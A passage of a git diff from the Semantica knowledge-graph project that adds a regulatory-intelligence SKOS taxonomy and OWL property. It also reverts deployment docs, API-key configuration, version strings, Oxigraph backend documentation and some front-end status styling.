reg:effectiveInterval
|
||||
a owl:ObjectProperty ;
|
||||
rdfs:domain reg:RequirementClause ;
|
||||
rdfs:range time:Interval ;
|
||||
rdfs:label "effective interval" ;
|
||||
rdfs:comment "The requirement's validity window, modeled with OWL-Time rather than a bare date string." .
|
||||
|
||||
# ---- Datatype properties -------------------------------------------------
|
||||
|
||||
reg:sourceCitation
|
||||
a owl:DatatypeProperty ;
|
||||
rdfs:domain reg:RequirementClause ;
|
||||
rdfs:range xsd:string ;
|
||||
rdfs:label "source citation" ;
|
||||
rdfs:comment "Human-readable citation (e.g. '45 CFR 164.306(a)(1)') pointing at the exact real-document location this clause was extracted from." .
|
||||
@@ -0,0 +1,183 @@
|
||||
# Regulatory Intelligence — SKOS taxonomy.
|
||||
#
|
||||
# Every concept below is lifted directly from a defined term, section
|
||||
# heading, or function name that actually appears in one of the 9 real
|
||||
# documents in data/raw/ (verified by text-searching the real PDFs/XML
|
||||
# before writing this file — see skos:scopeNote on each concept for the
|
||||
# exact source). This is schema/vocabulary, not data: no facts about the
|
||||
# world are asserted here, only the controlled vocabulary used to tag them.
|
||||
|
||||
@prefix rdf: <http://www.w3.org/1999/02/22-rdf-syntax-ns#> .
|
||||
@prefix rdfs: <http://www.w3.org/2000/01/rdf-schema#> .
|
||||
@prefix skos: <http://www.w3.org/2004/02/skos/core#> .
|
||||
@prefix regv: <https://semantica.dev/cookbook/regulatory-intelligence/vocabulary#> .
|
||||
|
||||
regv:RegulatoryTopics
|
||||
a skos:ConceptScheme ;
|
||||
skos:prefLabel "Regulatory Intelligence — Topic Vocabulary"@en ;
|
||||
skos:definition "Controlled vocabulary of functions, safeguards, governance concepts, and sectors drawn directly from the 9 real documents ingested by this use case."@en .
|
||||
|
||||
# ---- NIST Cybersecurity Framework 2.0 — the six Functions ---------------
|
||||
# Source: nist_csf_2.0.pdf (NIST CSWP 29)
|
||||
|
||||
regv:Govern
|
||||
a skos:Concept ;
|
||||
skos:inScheme regv:RegulatoryTopics ;
|
||||
skos:topConceptOf regv:RegulatoryTopics ;
|
||||
skos:prefLabel "Govern"@en ;
|
||||
skos:definition "CSF 2.0 Function: establish and monitor the organization's cybersecurity risk management strategy, expectations, and policy."@en ;
|
||||
skos:scopeNote "NIST CSWP 29 (CSF 2.0) — added relative to CSF 1.1."@en ;
|
||||
skos:related regv:AIGovern .
|
||||
|
||||
regv:Identify
|
||||
a skos:Concept ; skos:inScheme regv:RegulatoryTopics ; skos:topConceptOf regv:RegulatoryTopics ;
|
||||
skos:prefLabel "Identify"@en ;
|
||||
skos:definition "CSF Function: understand the organization's current cybersecurity risks."@en ;
|
||||
skos:scopeNote "NIST CSWP 29 / nist.cswp.04162018 (CSF 1.1 and 2.0)."@en .
|
||||
|
||||
regv:Protect
|
||||
a skos:Concept ; skos:inScheme regv:RegulatoryTopics ; skos:topConceptOf regv:RegulatoryTopics ;
|
||||
skos:prefLabel "Protect"@en ;
|
||||
skos:definition "CSF Function: use safeguards to manage the organization's cybersecurity risks."@en ;
|
||||
skos:scopeNote "NIST CSWP 29 / nist.cswp.04162018 (CSF 1.1 and 2.0)."@en .
|
||||
|
||||
regv:Detect
|
||||
a skos:Concept ; skos:inScheme regv:RegulatoryTopics ; skos:topConceptOf regv:RegulatoryTopics ;
|
||||
skos:prefLabel "Detect"@en ;
|
||||
skos:definition "CSF Function: find and analyze possible cybersecurity attacks and compromises."@en ;
|
||||
skos:scopeNote "NIST CSWP 29 / nist.cswp.04162018 (CSF 1.1 and 2.0)."@en .
|
||||
|
||||
regv:Respond
|
||||
a skos:Concept ; skos:inScheme regv:RegulatoryTopics ; skos:topConceptOf regv:RegulatoryTopics ;
|
||||
skos:prefLabel "Respond"@en ;
|
||||
skos:definition "CSF Function: take action regarding a detected cybersecurity incident."@en ;
|
||||
skos:scopeNote "NIST CSWP 29 / nist.cswp.04162018 (CSF 1.1 and 2.0)."@en .
|
||||
|
||||
regv:Recover
|
||||
a skos:Concept ; skos:inScheme regv:RegulatoryTopics ; skos:topConceptOf regv:RegulatoryTopics ;
|
||||
skos:prefLabel "Recover"@en ;
|
||||
skos:definition "CSF Function: restore assets and operations affected by a cybersecurity incident."@en ;
|
||||
skos:scopeNote "NIST CSWP 29 / nist.cswp.04162018 (CSF 1.1 and 2.0)."@en .
|
||||
|
||||
# ---- NIST AI Risk Management Framework 1.0 — the four Functions ---------
|
||||
# Source: nist_ai_rmf_1.0.pdf (NIST AI 100-1)
|
||||
|
||||
regv:AIGovern
|
||||
a skos:Concept ; skos:inScheme regv:RegulatoryTopics ;
|
||||
skos:prefLabel "Govern (AI RMF)"@en ;
|
||||
skos:definition "AI RMF Function: cultivate a culture of AI risk management and establish accountability structures across the AI lifecycle."@en ;
|
||||
skos:scopeNote "NIST AI 100-1 (AI RMF 1.0)."@en ;
|
||||
skos:related regv:Govern .
|
||||
|
||||
regv:Map
|
||||
a skos:Concept ; skos:inScheme regv:RegulatoryTopics ;
|
||||
skos:prefLabel "Map"@en ;
|
||||
skos:definition "AI RMF Function: establish the context to frame risks related to an AI system."@en ;
|
||||
skos:scopeNote "NIST AI 100-1 (AI RMF 1.0)."@en .
|
||||
|
||||
regv:Measure
|
||||
a skos:Concept ; skos:inScheme regv:RegulatoryTopics ;
|
||||
skos:prefLabel "Measure"@en ;
|
||||
skos:definition "AI RMF Function: employ quantitative, qualitative, or mixed-method tools to analyze and monitor AI risk."@en ;
|
||||
skos:scopeNote "NIST AI 100-1 (AI RMF 1.0)."@en .
|
||||
|
||||
regv:Manage
|
||||
a skos:Concept ; skos:inScheme regv:RegulatoryTopics ;
|
||||
skos:prefLabel "Manage"@en ;
|
||||
skos:definition "AI RMF Function: allocate resources to mapped and measured risks on a regular basis."@en ;
|
||||
skos:scopeNote "NIST AI 100-1 (AI RMF 1.0)."@en .
|
||||
|
||||
# ---- HIPAA Security Rule safeguard categories ----------------------------
|
||||
# Source: hipaa_security_rule_45cfr164_subpart_c.xml (45 CFR 164.308/.310/.312/.314)
|
||||
|
||||
regv:AdministrativeSafeguards
|
||||
a skos:Concept ; skos:inScheme regv:RegulatoryTopics ; skos:topConceptOf regv:RegulatoryTopics ;
|
||||
skos:prefLabel "Administrative Safeguards"@en ;
|
||||
skos:definition "Administrative actions, policies, and procedures to manage the selection, development, and execution of security measures to protect ePHI."@en ;
|
||||
skos:scopeNote "45 CFR 164.308."@en .
|
||||
|
||||
regv:PhysicalSafeguards
|
||||
a skos:Concept ; skos:inScheme regv:RegulatoryTopics ; skos:topConceptOf regv:RegulatoryTopics ;
|
||||
skos:prefLabel "Physical Safeguards"@en ;
|
||||
skos:definition "Physical measures, policies, and procedures to protect electronic information systems and related buildings/equipment from hazards and unauthorized intrusion."@en ;
|
||||
skos:scopeNote "45 CFR 164.310."@en .
|
||||
|
||||
regv:TechnicalSafeguards
|
||||
a skos:Concept ; skos:inScheme regv:RegulatoryTopics ; skos:topConceptOf regv:RegulatoryTopics ;
|
||||
skos:prefLabel "Technical Safeguards"@en ;
|
||||
skos:definition "The technology and policy/procedures for its use that protect ePHI and control access to it."@en ;
|
||||
skos:scopeNote "45 CFR 164.312."@en .
|
||||
|
||||
regv:OrganizationalRequirements
|
||||
a skos:Concept ; skos:inScheme regv:RegulatoryTopics ; skos:topConceptOf regv:RegulatoryTopics ;
|
||||
skos:prefLabel "Organizational Requirements"@en ;
|
||||
skos:definition "Requirements governing business associate contracts and other arrangements involving ePHI."@en ;
|
||||
skos:scopeNote "45 CFR 164.314."@en .
|
||||
|
||||
# ---- OMB M-24-10 AI governance concepts ----------------------------------
|
||||
# Source: omb_m24-10_ai_governance.pdf
|
||||
|
||||
regv:Transparency
|
||||
a skos:Concept ; skos:inScheme regv:RegulatoryTopics ; skos:topConceptOf regv:RegulatoryTopics ;
|
||||
skos:prefLabel "Transparency"@en ;
|
||||
skos:definition "Public disclosure obligations for agency AI use, including AI use case inventories."@en ;
|
||||
skos:scopeNote "OMB Memorandum M-24-10."@en .
|
||||
|
||||
regv:RightsImpactingAI
|
||||
a skos:Concept ; skos:inScheme regv:RegulatoryTopics ;
|
||||
skos:prefLabel "Rights-Impacting AI"@en ;
|
||||
skos:broader regv:RiskClassification ;
|
||||
skos:definition "AI whose output serves as a principal basis for a decision or action with a legal, material, or similarly significant effect on a person's civil rights or liberties."@en ;
|
||||
skos:scopeNote "OMB Memorandum M-24-10."@en .
|
||||
|
||||
regv:SafetyImpactingAI
|
||||
a skos:Concept ; skos:inScheme regv:RegulatoryTopics ;
|
||||
skos:prefLabel "Safety-Impacting AI"@en ;
|
||||
skos:broader regv:RiskClassification ;
|
||||
skos:definition "AI whose output serves as a principal basis for a decision or action that has the potential to significantly impact the safety of human life or well-being."@en ;
|
||||
skos:scopeNote "OMB Memorandum M-24-10."@en .
|
||||
|
||||
regv:RiskClassification
|
||||
a skos:Concept ; skos:inScheme regv:RegulatoryTopics ; skos:topConceptOf regv:RegulatoryTopics ;
|
||||
skos:prefLabel "Risk Classification"@en ;
|
||||
skos:definition "Categorizing an AI use case by the severity of its potential impact, driving which minimum risk-management practices apply."@en ;
|
||||
skos:scopeNote "OMB Memorandum M-24-10; NIST AI 600-1."@en ;
|
||||
skos:narrower regv:RightsImpactingAI , regv:SafetyImpactingAI .
|
||||
|
||||
regv:ChiefAIOfficer
|
||||
a skos:Concept ; skos:inScheme regv:RegulatoryTopics ;
|
||||
skos:prefLabel "Chief AI Officer"@en ;
|
||||
skos:altLabel "CAIO"@en ;
|
||||
skos:definition "The senior official each covered agency must designate to coordinate AI use and governance."@en ;
|
||||
skos:scopeNote "OMB Memorandum M-24-10 (full term); Federal Reserve compliance plan (uses the abbreviation \"CAIO\")."@en .
|
||||
|
||||
# ---- NIST AI 600-1 Generative AI Profile concepts ------------------------
|
||||
# Source: nist_ai_600-1_genai_profile.pdf
|
||||
|
||||
regv:ContentProvenance
|
||||
a skos:Concept ; skos:inScheme regv:RegulatoryTopics ; skos:topConceptOf regv:RegulatoryTopics ;
|
||||
skos:prefLabel "Content Provenance"@en ;
|
||||
skos:definition "Tracking the origin and history of generative-AI content, e.g. via metadata or watermarking, to distinguish it from human-generated content."@en ;
|
||||
skos:scopeNote "NIST AI 600-1."@en .
|
||||
|
||||
regv:Confabulation
|
||||
a skos:Concept ; skos:inScheme regv:RegulatoryTopics ; skos:topConceptOf regv:RegulatoryTopics ;
|
||||
skos:prefLabel "Confabulation"@en ;
|
||||
skos:altLabel "Hallucination"@en ;
|
||||
skos:definition "Confidently produced but erroneous or fabricated content generated by an AI system."@en ;
|
||||
skos:scopeNote "NIST AI 600-1."@en .
|
||||
|
||||
# ---- Sectors --------------------------------------------------------------
|
||||
# Used via reg:appliesToSector on RequirementClause instances.
|
||||
|
||||
regv:Healthcare
|
||||
a skos:Concept ; skos:inScheme regv:RegulatoryTopics ; skos:topConceptOf regv:RegulatoryTopics ;
|
||||
skos:prefLabel "Healthcare"@en ;
|
||||
skos:definition "The healthcare / public health sector."@en ;
|
||||
skos:scopeNote "Sector governed by 45 CFR 164 Subpart C and NIST SP 800-66."@en .
|
||||
|
||||
regv:FinancialServices
|
||||
a skos:Concept ; skos:inScheme regv:RegulatoryTopics ; skos:topConceptOf regv:RegulatoryTopics ;
|
||||
skos:prefLabel "Financial Services"@en ;
|
||||
skos:definition "The financial services sector."@en ;
|
||||
skos:scopeNote "Sector addressed by the Federal Reserve's OMB M-24-10 compliance plan."@en .
|
||||
@@ -9,10 +9,7 @@ flyctl launch --copy-config --config deploy/fly/fly.toml --no-deploy
|
||||
# Fly.io private networking uses .internal hostnames — do not use localhost
|
||||
# unless FalkorDB is a co-located process inside the same Machine.
|
||||
flyctl secrets set FALKORDB_HOST=<falkordb-app-name>.internal FALKORDB_PORT=6379
|
||||
flyctl secrets set SEMANTICA_API_KEY=$(openssl rand -hex 32)
|
||||
flyctl deploy --config deploy/fly/fly.toml
|
||||
```
|
||||
|
||||
Change `app` in `fly.toml` before launch if the default app name is already taken.
|
||||
|
||||
Fly apps get a public `*.fly.dev` URL by default, so `SEMANTICA_API_KEY` is required — without it the Explorer refuses every protected route (503) rather than serving anonymously. Pass the same value as the `X-API-Key` header from any client that talks to the deployed API.
|
||||
|
||||
@@ -9,10 +9,7 @@ railway add --database redis
|
||||
railway variable --set "FALKORDB_HOST=${{Redis.REDISHOST}}"
|
||||
railway variable --set "FALKORDB_PORT=${{Redis.REDISPORT}}"
|
||||
railway variable --set "ALLOWED_ORIGINS=https://${{RAILWAY_PUBLIC_DOMAIN}}"
|
||||
railway variable --set "SEMANTICA_API_KEY=$(openssl rand -hex 32)"
|
||||
railway up
|
||||
```
|
||||
|
||||
The Redis plugin variables are wired to the requested FalkorDB env names for deployment compatibility. The Explorer currently reads these settings but does not persist graph state to FalkorDB.
|
||||
|
||||
Railway exposes this service on a public domain, so `SEMANTICA_API_KEY` is required — without it the Explorer refuses every protected route (503) rather than serving anonymously. Pass the same value as the `X-API-Key` header from any client that talks to the deployed API.
|
||||
|
||||
@@ -9,5 +9,3 @@ render blueprint apply deploy/render/render.yaml
|
||||
```
|
||||
|
||||
After creation, update `ALLOWED_ORIGINS` in the Render dashboard if you attach a custom domain.
|
||||
|
||||
`SEMANTICA_API_KEY` is auto-generated by the blueprint (`generateValue: true`) since this service gets a public `onrender.com` URL — without it the Explorer refuses every protected route (503) rather than serving anonymously. Find the generated value in the Render dashboard's environment tab and pass it as the `X-API-Key` header from any client that talks to the deployed API.
|
||||
|
||||
@@ -20,8 +20,6 @@ services:
|
||||
type: keyvalue
|
||||
name: semantica-explorer-redis
|
||||
property: port
|
||||
- key: SEMANTICA_API_KEY
|
||||
generateValue: true
|
||||
|
||||
- type: keyvalue
|
||||
name: semantica-explorer-redis
|
||||
|
||||
@@ -16,8 +16,6 @@ services:
|
||||
ALLOWED_ORIGINS: http://localhost:5173,http://127.0.0.1:5173,http://localhost:8000,http://127.0.0.1:8000
|
||||
FALKORDB_HOST: falkordb
|
||||
FALKORDB_PORT: "6379"
|
||||
# Local dev only: this compose file is not for public exposure.
|
||||
SEMANTICA_ALLOW_ANONYMOUS: "true"
|
||||
volumes:
|
||||
- ./semantica:/app/semantica
|
||||
- ./pyproject.toml:/app/pyproject.toml:ro
|
||||
|
||||
@@ -8,11 +8,6 @@ services:
|
||||
FALKORDB_HOST: falkordb
|
||||
FALKORDB_PORT: "6379"
|
||||
ALLOWED_ORIGINS: ${ALLOWED_ORIGINS:-http://localhost:8000,http://127.0.0.1:8000}
|
||||
# Required for API access - the Explorer refuses all protected routes
|
||||
# (503) until this is set. Generate one with `openssl rand -hex 32`.
|
||||
SEMANTICA_API_KEY: ${SEMANTICA_API_KEY:-}
|
||||
# Trusted local-only setups only: bypasses the API key entirely.
|
||||
SEMANTICA_ALLOW_ANONYMOUS: ${SEMANTICA_ALLOW_ANONYMOUS:-false}
|
||||
depends_on:
|
||||
falkordb:
|
||||
condition: service_started
|
||||
|
||||
+8
-8
@@ -13,33 +13,33 @@ icon: "quote-left"
|
||||
<Tab title="BibTeX">
|
||||
```bibtex
|
||||
@software{semantica2026,
|
||||
title = {Semantica: Graph-Native Infrastructure for Context and Accountable AI Systems},
|
||||
author = {Semantica},
|
||||
title = {Semantica: An Open Source Framework for Semantic Layers and Knowledge Engineering},
|
||||
author = {Hawksight AI},
|
||||
year = {2026},
|
||||
url = {https://github.com/semantica-agi/semantica},
|
||||
version = {0.6.5},
|
||||
version = {0.6.0},
|
||||
doi = {10.5281/zenodo.XXXXXXX}
|
||||
}
|
||||
```
|
||||
</Tab>
|
||||
<Tab title="APA">
|
||||
Semantica. (2026). *Semantica: Graph-Native Infrastructure for Context and Accountable AI Systems* (Version 0.6.5) \[Computer software\]. https://github.com/semantica-agi/semantica
|
||||
Hawksight AI. (2026). *Semantica: An Open Source Framework for Semantic Layers and Knowledge Engineering* (Version 0.6.0) \[Computer software\]. https://github.com/semantica-agi/semantica
|
||||
</Tab>
|
||||
<Tab title="MLA">
|
||||
Semantica. *Semantica: Graph-Native Infrastructure for Context and Accountable AI Systems*. Version 0.6.5, GitHub, 2026, https://github.com/semantica-agi/semantica.
|
||||
Hawksight AI. *Semantica: An Open Source Framework for Semantic Layers and Knowledge Engineering*. Version 0.6.0, GitHub, 2026, https://github.com/semantica-agi/semantica.
|
||||
</Tab>
|
||||
<Tab title="Chicago">
|
||||
Semantica. *Semantica: Graph-Native Infrastructure for Context and Accountable AI Systems*. Version 0.6.5. GitHub, 2026. https://github.com/semantica-agi/semantica.
|
||||
Hawksight AI. *Semantica: An Open Source Framework for Semantic Layers and Knowledge Engineering*. Version 0.6.0. GitHub, 2026. https://github.com/semantica-agi/semantica.
|
||||
</Tab>
|
||||
<Tab title="IEEE">
|
||||
Semantica, "Semantica: Graph-Native Infrastructure for Context and Accountable AI Systems," Version 0.6.5, GitHub, 2026. \[Online\]. Available: https://github.com/semantica-agi/semantica
|
||||
Hawksight AI, "Semantica: An Open Source Framework for Semantic Layers and Knowledge Engineering," Version 0.6.0, GitHub, 2026. \[Online\]. Available: https://github.com/semantica-agi/semantica
|
||||
</Tab>
|
||||
</Tabs>
|
||||
|
||||
|
||||
## Acknowledgment Text
|
||||
|
||||
> "This work uses Semantica (2026), an open-source graph-native infrastructure framework for context and accountable AI systems, providing Context Graphs, knowledge graphs, and full decision provenance."
|
||||
> "This work uses Semantica (Hawksight AI, 2026), an open-source framework for semantic layer construction and knowledge engineering."
|
||||
|
||||
|
||||
## Share Your Research
|
||||
|
||||
@@ -52,6 +52,13 @@ Deep dive into advanced features, customization, and complex workflows.
|
||||
- **[Temporal Knowledge Graphs](https://github.com/semantica-agi/semantica/blob/main/cookbook/advanced/10_Temporal_Knowledge_Graphs.ipynb)** — Modeling and querying data that changes over time. Topics: Time Series, Temporal Logic, Allen Algebra · *Advanced*
|
||||
|
||||
|
||||
## Use Cases
|
||||
|
||||
Self-contained, end-to-end examples built from real public data and real external ontologies, not synthetic samples. Each one is a folder with its own `data/` (source documents + download script) and `ontology/` (vendored real ontologies + a small domain extension) alongside the notebook.
|
||||
|
||||
- **[Regulatory Intelligence](https://github.com/semantica-agi/semantica/blob/main/cookbook/use_cases/regulatory_intelligence/README.md)** — Turns 9 real U.S. federal AI-governance and cybersecurity-regulation documents (NIST AI RMF, NIST CSF 1.1/2.0, HIPAA Security Rule, Executive Order 14110, OMB M-24-10, and more) into an explainable, ontology-driven knowledge graph. Full pipeline: ingestion, chunking every document, automatic entity/relation/triplet extraction across the corpus, ontology import/generation/evaluation, entity resolution, graph construction, SHACL validation, deterministic rule-based reasoning, PROV-O provenance, a persistent RDF database (Oxigraph on disk, plus Semantica's `TripletStore` for a production server), conflict detection, temporal reasoning, SPARQL, JSON-LD, GraphRAG, and a five-agent Decision Intelligence workflow, reusing real W3C ontologies (ORG, PROV-O, SKOS, DCAT, OWL-Time, FRBR). Topics: Regulatory Intelligence, Decision Intelligence, Explainable AI · *Advanced*
|
||||
|
||||
|
||||
## How to Run
|
||||
|
||||
<Steps>
|
||||
|
||||
+1
-1
@@ -17,7 +17,7 @@ icon: "circle-question"
|
||||
| API key required? | Optional: pattern extraction works with no keys |
|
||||
| Works with LangChain / LlamaIndex? | Yes: Semantica is a layer on top, not a replacement |
|
||||
| Production-ready? | Yes: 1,000+ tests, v0.5.0 ships with 12 security fixes |
|
||||
| Latest version? | **v0.6.5** (August 2026) |
|
||||
| Latest version? | **v0.6.0** (July 2026) |
|
||||
| Local LLMs? | Yes: Ollama via LiteLLM, HuggingFaceLLM for air-gapped |
|
||||
|
||||
|
||||
|
||||
@@ -42,7 +42,7 @@ icon: "rocket"
|
||||
Verify installation:
|
||||
```python
|
||||
import semantica
|
||||
print(semantica.__version__) # 0.6.5
|
||||
print(semantica.__version__) # 0.6.0
|
||||
```
|
||||
</Check>
|
||||
</Step>
|
||||
|
||||
+1
-1
@@ -149,7 +149,7 @@ A database optimized for storing and querying graph-structured data using node a
|
||||
A retrieval strategy combining vector similarity search with keyword or metadata filtering: higher accuracy than either approach alone.
|
||||
|
||||
**Triplet Store**
|
||||
A database designed specifically for storing and querying RDF `(subject, predicate, object)` triples. Semantica supports embedded Oxigraph as well as Blazegraph, Apache Jena, and RDF4J.
|
||||
A database designed specifically for storing and querying RDF `(subject, predicate, object)` triples. Semantica supports Blazegraph, Apache Jena, and RDF4J.
|
||||
|
||||
**Vector Store**
|
||||
A database optimized for storing and searching high-dimensional embedding vectors by similarity. Semantica supports FAISS, Pinecone, Weaviate, Qdrant, Milvus, and PgVector.
|
||||
|
||||
+1
-1
@@ -251,7 +251,7 @@ store.add_triplets(subject, predicate, obj)
|
||||
results = store.sparql("SELECT ?s ?p ?o WHERE { ?s ?p ?o }")
|
||||
```
|
||||
|
||||
**Backends:** Oxigraph (embedded), Blazegraph, Apache Jena, RDF4J
|
||||
**Backends:** Blazegraph, Apache Jena, RDF4J
|
||||
|
||||
|
||||
## Quality Assurance
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
title: "Triplet Store Module"
|
||||
description: "Embedded and server-backed RDF storage with SPARQL queries and bulk loading."
|
||||
description: "RDF triple storage with SPARQL queries and bulk loading: Blazegraph, Apache Jena, and RDF4J."
|
||||
icon: "table"
|
||||
---
|
||||
|
||||
@@ -16,15 +16,14 @@ icon: "table"
|
||||
| `BlazegraphStore` | Blazegraph REST API: SPARQL 1.1 Update, namespace management |
|
||||
| `JenaStore` | Apache Jena: rdflib-backed, SPARQL read support via remote endpoint |
|
||||
| `RDF4JStore` | Eclipse RDF4J: REST API, transaction support |
|
||||
| `OxigraphStore` | Embedded SPARQL 1.1 store with in-memory and on-disk modes |
|
||||
|
||||
## What You Get
|
||||
|
||||
- **TripletStore** — Unified interface across embedded Oxigraph, Blazegraph, Apache Jena, and RDF4J: swap backends with one parameter.
|
||||
- **TripletStore** — Unified interface across Blazegraph, Apache Jena, and RDF4J: swap backends with one parameter.
|
||||
- **SPARQL** — Full SPARQL SELECT, ASK, CONSTRUCT, and UPDATE query support via `execute_query()`.
|
||||
- **Bulk Loading** — `add_triplets()` batches writes with configurable batch size, retry logic, and progress tracking.
|
||||
- **SKOS Vocabulary** — Built-in helpers: `add_skos_concept()` and `get_skos_concepts()` for controlled vocabulary management.
|
||||
- **Named Graphs** — Oxigraph, Blazegraph, and RDF4J support named graph scoping via `graph=` on `execute_query()`.
|
||||
- **Named Graphs** — Blazegraph and RDF4J support named graph scoping via `graph=` on `execute_query()`.
|
||||
- **Delta Computation** — `compute_delta(old_graph_uri, new_graph_uri)` returns added and removed triples between two named graph snapshots.
|
||||
|
||||
## Getting Started
|
||||
@@ -118,25 +117,6 @@ for row in result.bindings:
|
||||
## Backends
|
||||
|
||||
<Tabs>
|
||||
<Tab title="Oxigraph">
|
||||
```bash
|
||||
pip install "semantica[tripletstore-oxigraph]"
|
||||
```
|
||||
|
||||
```python
|
||||
# In-memory: no server process or files required
|
||||
store = TripletStore(backend="oxigraph")
|
||||
|
||||
# Persistent: reopen the same directory to reuse the data
|
||||
persistent_store = TripletStore(
|
||||
backend="oxigraph",
|
||||
path="./data/knowledge-graph",
|
||||
)
|
||||
```
|
||||
|
||||
**Best for:** local development, CI, desktop applications, and persistent
|
||||
single-process workloads without external infrastructure.
|
||||
</Tab>
|
||||
<Tab title="Blazegraph">
|
||||
```bash
|
||||
pip install requests
|
||||
@@ -192,7 +172,6 @@ for row in result.bindings:
|
||||
|
||||
| Backend | License | Named Graphs | Write via | Best For |
|
||||
| :------- | :------- | :------------ | :--------- | :-------- |
|
||||
| Oxigraph | Apache 2.0 / MIT | Yes | Embedded native API | Local, CI, on-disk |
|
||||
| Blazegraph | Open source | Yes | SPARQL Update REST | High triple count, SPARQL 1.1 |
|
||||
| Apache Jena | Apache 2.0 | No (rdflib backend) | rdflib in-process | Local dev, read queries |
|
||||
| RDF4J | Eclipse 1.0 | Yes | REST API N-Triples | Enterprise Java, transactions |
|
||||
@@ -201,9 +180,7 @@ for row in result.bindings:
|
||||
</Tabs>
|
||||
|
||||
<Tip>
|
||||
**Use Oxigraph for zero-infrastructure development and local persistence.**
|
||||
Switch to a server-backed store for distributed production deployments by
|
||||
changing `backend=`.
|
||||
**Use Apache Jena for development, Blazegraph for production.** Jena initializes with rdflib in-memory: no server required for local testing. Switch to Blazegraph for high-throughput persistent workloads by changing `backend=`.
|
||||
</Tip>
|
||||
|
||||
## Triplet Object
|
||||
@@ -387,10 +364,10 @@ while True:
|
||||
|
||||
## Named Graph Scoping
|
||||
|
||||
Oxigraph, Blazegraph, and RDF4J support named graphs. Scope `execute_query()` to a named graph with the `graph=` parameter:
|
||||
Blazegraph and RDF4J support named graphs. Scope `execute_query()` to a named graph with the `graph=` parameter:
|
||||
|
||||
```python
|
||||
# Add a triplet to a named graph
|
||||
# Add a triplet: named graph stored in metadata or backend-specific API
|
||||
from semantica.semantic_extract.types import Triplet
|
||||
|
||||
t = Triplet(
|
||||
@@ -398,7 +375,7 @@ t = Triplet(
|
||||
predicate="http://example.org/p",
|
||||
object="http://example.org/b",
|
||||
)
|
||||
store.add_triplet(t, graph="http://example.org/graph1")
|
||||
store.add_triplet(t) # named graph targeting requires backend-specific API
|
||||
|
||||
# Query a named graph via FROM clause in SPARQL
|
||||
result = store.execute_query("""
|
||||
@@ -416,14 +393,11 @@ result = store.execute_query("""
|
||||
```
|
||||
|
||||
<Note>
|
||||
Named graph query scoping is available for Oxigraph, Blazegraph, and RDF4J.
|
||||
The `graph=` query parameter is silently ignored for the Jena backend.
|
||||
Named graph support is only available for Blazegraph and RDF4J backends. The `graph=` parameter is silently ignored for the Jena backend.
|
||||
</Note>
|
||||
|
||||
<Tip>
|
||||
**Use named graphs to isolate sources.** Pass `graph="http://example.org/source_A"`
|
||||
to writes and `execute_query()` to scope both storage and retrieval. Oxigraph,
|
||||
Blazegraph, and RDF4J support named graph query scoping.
|
||||
**Use named graphs to isolate sources.** Pass `graph="http://example.org/source_A"` to `execute_query()` to scope a query to a specific named graph. Blazegraph and RDF4J support named graphs; Jena (rdflib backend) does not.
|
||||
</Tip>
|
||||
|
||||
## Bulk Loading
|
||||
|
||||
Generated
+3
-3
@@ -2293,9 +2293,9 @@
|
||||
}
|
||||
},
|
||||
"node_modules/dompurify": {
|
||||
"version": "3.4.13",
|
||||
"resolved": "https://registry.npmjs.org/dompurify/-/dompurify-3.4.13.tgz",
|
||||
"integrity": "sha512-2vmYIoqjze2d+kakP8S/nS5shfsl587kzwEjcGlTdiksUVgFHnFCsLYDVj/JNqJVOQZGSYBTmuycv0PodwmnMQ==",
|
||||
"version": "3.4.12",
|
||||
"resolved": "https://registry.npmjs.org/dompurify/-/dompurify-3.4.12.tgz",
|
||||
"integrity": "sha512-zQvGet8Z2sWbQhCmfFz/T5QWH2oBmjnqK3qvOjaqaNLrLEF912WamU+ohnTp0TCep/MFVHpdJuCZEdFOdTnEFg==",
|
||||
"license": "(MPL-2.0 OR Apache-2.0)",
|
||||
"peer": true,
|
||||
"optionalDependencies": {
|
||||
|
||||
@@ -9,8 +9,7 @@
|
||||
"lint": "eslint .",
|
||||
"preview": "vite preview",
|
||||
"test:graph-store": "node --test tests/graphStore.multi-edge.test.mjs",
|
||||
"test:graph-workspace": "node --import tsx --test tests/graphSceneState.display.test.ts",
|
||||
"test:plugin-registry": "node --import tsx --test tests/pluginRegistry.temporal.test.mjs"
|
||||
"test:graph-workspace": "node --import tsx --test tests/graphSceneState.display.test.ts"
|
||||
},
|
||||
"dependencies": {
|
||||
"@monaco-editor/react": "^4.7.0",
|
||||
|
||||
+13
-37
@@ -67,14 +67,6 @@ type GraphStatsPayload = {
|
||||
edges?: number;
|
||||
};
|
||||
|
||||
type ConnectionStatus = 'checking' | 'online' | 'offline';
|
||||
|
||||
const CONNECTION_STATUS_LABEL: Record<ConnectionStatus, string> = {
|
||||
checking: 'Connecting…',
|
||||
online: 'System Online',
|
||||
offline: 'Backend Unreachable',
|
||||
};
|
||||
|
||||
const queryClient = new QueryClient();
|
||||
|
||||
const PREVIEW_DOTS = Array.from({ length: 42 }, (_, i) => ({
|
||||
@@ -727,34 +719,19 @@ const shellStyles = `
|
||||
align-items: center;
|
||||
gap: 10px;
|
||||
margin-bottom: 24px;
|
||||
--status-color: #4cc38a;
|
||||
--status-shadow-a: 0 0 0 3px rgba(76, 195, 138, 0.22), 0 0 12px rgba(76, 195, 138, 0.5);
|
||||
--status-shadow-b: 0 0 0 5px rgba(76, 195, 138, 0.1), 0 0 20px rgba(76, 195, 138, 0.35);
|
||||
}
|
||||
|
||||
.landing-status-bar[data-status='checking'] {
|
||||
--status-color: #f2b66d;
|
||||
--status-shadow-a: 0 0 0 3px rgba(242, 182, 109, 0.22), 0 0 12px rgba(242, 182, 109, 0.5);
|
||||
--status-shadow-b: 0 0 0 5px rgba(242, 182, 109, 0.1), 0 0 20px rgba(242, 182, 109, 0.35);
|
||||
}
|
||||
|
||||
.landing-status-bar[data-status='offline'] {
|
||||
--status-color: #ff7b72;
|
||||
--status-shadow-a: 0 0 0 3px rgba(255, 123, 114, 0.22), 0 0 12px rgba(255, 123, 114, 0.5);
|
||||
--status-shadow-b: 0 0 0 5px rgba(255, 123, 114, 0.1), 0 0 20px rgba(255, 123, 114, 0.35);
|
||||
}
|
||||
|
||||
.landing-status-dot {
|
||||
width: 8px;
|
||||
height: 8px;
|
||||
border-radius: 999px;
|
||||
background: var(--status-color);
|
||||
box-shadow: var(--status-shadow-a);
|
||||
background: #4cc38a;
|
||||
box-shadow: 0 0 0 3px rgba(76, 195, 138, 0.22), 0 0 12px rgba(76, 195, 138, 0.5);
|
||||
animation: landing-pulse 2.4s ease-in-out infinite;
|
||||
}
|
||||
|
||||
.landing-status-text {
|
||||
color: var(--status-color);
|
